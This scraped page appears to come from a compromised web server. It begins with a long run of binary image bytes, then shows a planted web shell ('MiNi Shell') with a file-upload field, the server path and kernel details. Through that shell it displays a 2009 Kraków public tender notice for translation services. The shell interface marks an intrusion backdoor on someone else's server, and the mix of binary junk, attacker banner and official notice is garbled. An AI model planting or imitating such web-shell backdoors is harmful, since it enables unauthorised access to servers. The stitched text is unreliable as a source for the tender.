JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090204/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090204/17808-N-2009.html

<p class="kh_header"><b>Kraków: Świadczenie usługi tłumaczeń pisemnych i ustnych dla Małopolskiego Centrum Doskonalenia Nauczycieli.</b><br>
<b>Numer ogłoszenia: 17808 - 2009; data zamieszczenia: 04.02.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Małopolskie Centrum Doskonalenia Nauczycieli , ul. Lubelska 23, 30-003 Kraków, woj. małopolskie, tel. 0-12 623-76-56, 623 76 46, faks 0-12 623 77 41.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.mcdn.edu.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Świadczenie usługi tłumaczeń pisemnych i ustnych dla Małopolskiego Centrum Doskonalenia Nauczycieli..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia są usługi tłumaczeń pisemnych materiałów przekazywanych przez Zamawiającego oraz tłumaczeń ustnych  konsekutywnych i symultanicznych w roku 2009.
Tematyka tłumaczeń dotyczy zagadnień z zakresu edukacji, w tym zagadnień unijnych, międzynarodowych, finansowych i innych znajdujacych się w obszarze działań MCDN.
 
Szczegółowy opis przedmiotu zamówienia w brzmieniu zał. nr 1 do Specyfikacji Istotnych Warunków Zamówienia..</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2009.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium.<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> Wykonawca powinien:
1)wykonać lub wykonywać w okresie ostatnich trzech lat przed dniem wszczęcia postępowania o udzielenie zamówienia, co najmniej 2 usługi polegające na wykonaniu  tłumaczeń ustnych konsekutywnych o wartości usługi (netto) co najmniej 10 000.00 zł każda,
Uwaga: usługa konsekutywna powinna być wykonana dla grup 20 osobowych i obejmować tłumaczenia z języka francuskiego i angielskiego na język polski i odwrotnie,
2)wykonać lub wykonywać w okresie ostatnich trzech lat przed dniem wszczęcia postępowania o udzielenie zamówienia, co najmniej 2 usługi polegające na wykonaniu  tłumaczeń symultanicznych, o wartości (netto) co najmniej 10 000.00 zł każda,
Uwaga: usługa symultaniczna powinna być wykonana dla grup 100 osobowych i obejmować tłumaczenia z języka francuskiego i angielskiego na język polski i odwrotnie,
3)wykonać lub wykonywać co najmniej 3 usługi polegające na tłumaczeniach pisemnych z języka angielskiego i francuskiego w okresie ostatnich trzech lat przed dniem wszczęcia postępowania o udzielenie zamówienia (co najmniej 400 stron łącznie) z zakresu kształecenia ustawicznego lub pokrewnej dziedziny (np.edukacji,  szkoleń, rynku pracy) o wartości (netto) co najmniej 10 000.00 zł każda,
4)dysponować lub jeżeli nie dysponuje, a będzie dysponował co najmniej 6 osobami w zakresie każdego języka, posiadającymi kwalifikacje do wykonywania tłumaczeń w każdym z języków: angielskim i francuskim, 
5)spełniać pozostałe warunki, o których mowa w art. 22 ust. 1 ustawy, w tym nie podlegać wykluczeniu z postępowania na podstawie art. 24 ustawy.

A.ocena spełnienia warunku, o którym mowa w części IX pkt 1, 2 i 3, będzie dokonana na podstawie złożonych przez Wykonawcę dokumentów, o których mowa w części X pkt 3, 4 i 5 SIWZ - z wykazów, o których mowa w pkt 3 i 4 powinno wynikać, że Wykonawca wykonał w okresie ostatnich trzech lat co najmniej 2 usługi, polegające na wykonaniu tłumaczenia ustnego konsekutywnego z języka francuskiego i angielskiego na język polski i odwrotnie o wartości (netto) co najmniej 10 000.00 zł każda, 2 usługi, polegające na wykonaniu tłumaczenia ustnego symultanicznego z języka francuskiego i angielskiego na język polski i odwrotnie o wartości (netto) co najmniej 10 000.00 zł każda, oraz co najmniej 3 usługi polegające na tłumaczeniach pisemnych z języka angielskiego i francuskiego (łącznie nie mniej niż 400 stron) z zakresu kształecenia ustawicznego lub pokrewnej dziedziny (np.edukacji, szkoleń, rynku pracy) o wartości (netto) co najmniej 10 000.00 zł każda; dokumenty, o których mowa w części X pkt 5, powinny potwierdzać, że co najmniej 7 usług (co najmniej 2 usługi konsekutywne, co najmniej 2 usługi symultaniczne i co najmniej 3 usługi polegające na tłumaczeniach pisemnych) zawarte w wykazach (Załącznik nr 3 i nr 4)  zostały wykonane należycie, 
B.ocena spełnienia warunku, o którym mowa w części IX pkt 4, będzie dokonana:
1)w przypadku dysponowania przez Wykonawcę osobami- na podstawie dokumentów, o których mowa w części X pkt 6 i 8 SIWZ - z wykazu, o którym mowa w pkt 6 SIWZ  powinno wynikać, że Wykonawca dysponuje co najmniej 6 osobami posiadającymi kwalifikacje do wykonywania usługi; dokumenty, o których mowa w części X pkt 8 SIWZ, powinny potwierdzać, że osoby wykazane w wykazie posiadają kwalifikacje do wykonywania tłumaczeń w językach określonych w części IX SIWZ pkt 4,
2)w przypadku kiedy Wykonawca będzie dysponował osobami - na podstawie dokumentów, o których mowa w części X  pkt 6, 7 i 8 SIWZ - z wykazu oraz oświadczenia, o którym mowa w pkt 7 SIWZ powinno wynikać, że Wykonawca będzie dysponował  osobami posiadającymi uprawnienia do wykonywania usług, dokumenty, o których mowa w pkt 8, powinny potwierdzać, że osoby wykazane w wykazie posiadają kwalifikacje do wykonywania tłumaczeń, o których mowa w części IX pkt 4,
C. Ocena spełniania warunków udziału  w postępowaniu, o których mowa w części IX pkt 5 SIWZ dokonywana będzie, na podstawie złożonego przez Wykonawcę dokumentu, o którym mowa w części X SIWZ pkt 2 oraz oświadczenia, o którym mowa w części X pkt 1 SIWZ (Załącznik nr 2 do SIWZ) - z dokumentów oraz oświadczenia powinno wynikać, że Wykonawca spełnia warunki, o których mowa w art. 22 ust. 1 ustawy, w tym nie podlega wykluczeniu z postępowania na podstawie art. 24 ustawy..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> Wraz z ofertą Wykonawca winien złożyć:
1)oświadczenie   o   spełnieniu   warunków   udziału   w   postępowaniu   
załącznik nr 2 do SIWZ
2)aktualny    odpis    z    właściwego     rejestru     albo     aktualne zaświadczenie o wpisie do ewidencji działalności gospodarczej, jeżeli   odrębne   przepisy   wymagają  wpisu   do   rejestru   lub zgłoszenia do ewidencji działalności gospodarczej, wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.
3)wykaz wykonanych lub wykonywanych w okresie ostatnich trzech lat przed dniem wszczęcia postępowania usług, o których mowa w części IX pkt 1 i 2 SIWZ - wykaz powinien zawierać wartość usług (netto), przedmiot (ze wskazaniem tłumaczeń konsekutywnych i symultanicznych), daty ich wykonania, liczbę słuchaczy oraz odbiorców (Załącznik nr 3);
4)wykaz wykonanych lub wykonywanych w okresie ostatnich trzech lat przed dniem wszczęcia postępowania usług, o których mowa w części IX pkt 3 SIWZ - wykaz powinien zawierać wartość usług (netto), przedmiot (ze wskazaniem zakresu, języka, ilości stron), daty ich wykonania (Załącznik nr 4), 
5)dokumenty (referencje, listy referencyjne lub dokumenty o podobnym charakterze) potwierdzające, że usługi zawarte w wykazach,  o których mowa w pkt 3 i pkt 4 zostały wykonane należycie,
6)wykaz zawierający osoby, którymi Wykonawca dysponuje lub będzie dysponował, a które będą wykonywać zamówienie, posiadające kwalifikacje do wykonywania tłumaczeń - wykaz powinien zawierać imię i nazwisko, kwalifikacje w zakresie języka, doświadczenie (Załącznik nr 5), 
7)pisemne zobowiązania innych podmiotów do udostępnienia osoby lub osób posiadających kwalifikacje, o których mowa w części IX pkt 4, jeżeli w wykazie, o którym mowa w pkt 6, Wykonawca wskazał osobę lub osoby, którymi będzie dysponował,
8)dokumenty stwierdzające, że osoby, które będą wykonywać zamówienie, wykazane w wykazie, o którym mowa w pkt 6 posiadają wymagane kwalifikacje,

UWAGA 1. Dokumenty, o których mowa w pkt 2, 5 i 8 mogą być złożone w formie oryginału lub kserokopii poświadczonej za zgodność 
z oryginałem przez Wykonawcę, tzn. opatrzone datą (datą poświadczenia, nie zaś jakąkolwiek inną datą znajdującą się na kserokopii dokumentu, choćby pochodziła z dnia poświadczenia), napisem za zgodność z oryginałem oraz podpisane przez osoby podpisujące ofertę lub przez osoby upoważnione do poświadczenia zgodności z oryginałem kserokopii dokumentów - w takim przypadku wraz z dokumentem Wykonawca powinien przedłożyć dokument, z treści którego wynika umocowanie do dokonania tej czynności, o ile nie wynika ono z innych dokumentów składanych wraz z ofertą. W przypadku, gdy dokument składa się z więcej niż jednej strony, kserokopia każdej strony powinna być poświadczona za zgodność z oryginałem, w sposób opisany wyżej.
UWAGA 2. Oświadczenia, o których mowa w pkt 1  powinno być podpisane przez osoby podpisujące ofertę.
UWAGA 3. Jeżeli Wykonawcy wspólnie ubiegają się o udzielenie zamówienia, oświadczenie, o którym mowa w pkt 1 w zakresie niepodlegania wykluczeniu z postępowania, oraz dokument, o którym mowa w pkt 2,  powinien złożyć każdy z Wykonawców.
UWAGA 4. Jeżeli Wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej: zamiast dokumentu, o którym mowa w pkt 2 składa dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania, potwierdzające odpowiednio, że:
-nie otwarto jego likwidacji ani nie ogłoszono upadłości,
dokument, o którym mowa powinien być wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.
UWAGA 5.Jeżeli w kraju pochodzenia osoby lub w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, nie wydaje się dokumentu, o którym mowa w uwadze 4, zastępuje się je dokumentem zawierającym oświadczenie złożone przed notariuszem, właściwym organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego odpowiednio kraju pochodzenia osoby lub kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania.
UWAGA 6. Dokumenty sporządzone w języku obcym powinny być złożone wraz z tłumaczeniem na język polski, poświadczonym przez Wykonawcę..</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.mcdn.edu.pl;www.wrotamalopolski.pl/bip/um.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Małopolskie Centrum Doskonalenia Nauczycieli ul. Lubelska 23, 30-003 Kraków.</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 12.02.2009 godzina 10:00, miejsce: Małopolskie Centrum Doskonalenia Nauczycieli ul. Lubelska 23, 30-003 Kraków,  pok. nr 102.</p><p><b>IV.3.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com